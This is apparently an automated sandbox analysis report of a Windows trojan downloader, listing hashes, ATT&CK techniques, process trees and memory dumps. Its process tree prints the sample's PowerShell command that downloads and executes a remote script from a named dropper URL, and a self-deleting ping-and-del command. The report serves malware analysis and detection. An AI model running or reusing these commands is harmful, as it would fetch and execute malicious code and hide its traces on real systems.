c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
15-09-2023 15:40

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General

Target

SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe
Size

247KB
MD5

f17afa21e88b7a362db5ae8fdfa43de9
SHA1

14b024dfe1f9aa6eb88bc7e2215e4877c92cc01e
SHA256

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf
SHA512

efbdcd1c0fb91cb15de2935ed500fb0f9a8b3ef1491e9823850e97451348cd3a170bc0ad3c84086438508f7280f100a33ff8299a7de64093129b2d7ea83b8e0d
SSDEEP

3072:98iTSP3d1hp5xnAs03vx54qylRs8crPGjl5mS3qI79TPJvLCw8DSmfNKgAiNNrc4:90zl37r79h2DSm1SgAOmhzN+

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://aszfiltration.com/storage/files/debug2.ps1

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

9 2588 powershell.exe
14 2588 powershell.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2460 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2532 PING.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2588 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2588 powershell.exe

flow	pid	process
9	2588	powershell.exe
14	2588	powershell.exe

pid	process
2460	cmd.exe

pid	process
2532	PING.EXE

pid	process
2588	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2588	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.execmd.execmd.exe

description	pid	process	target process
PID 2760 wrote to memory of 2992	2760	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 2760 wrote to memory of 2992	2760	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 2760 wrote to memory of 2992	2760	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 2760 wrote to memory of 2992	2760	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 2992 wrote to memory of 2588	2992	cmd.exe	powershell.exe
PID 2992 wrote to memory of 2588	2992	cmd.exe	powershell.exe
PID 2992 wrote to memory of 2588	2992	cmd.exe	powershell.exe
PID 2760 wrote to memory of 2460	2760	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 2760 wrote to memory of 2460	2760	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 2760 wrote to memory of 2460	2760	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 2760 wrote to memory of 2460	2760	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	cmd.exe
PID 2460 wrote to memory of 2532	2460	cmd.exe	PING.EXE
PID 2460 wrote to memory of 2532	2460	cmd.exe	PING.EXE
PID 2460 wrote to memory of 2532	2460	cmd.exe	PING.EXE
PID 2460 wrote to memory of 2532	2460	cmd.exe	PING.EXE

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2588
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe" >> NUL
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2588-4-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2588-5-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2588-6-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2588-7-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2588-8-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2588-9-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2588-10-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2588-11-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2588-12-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2588-13-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download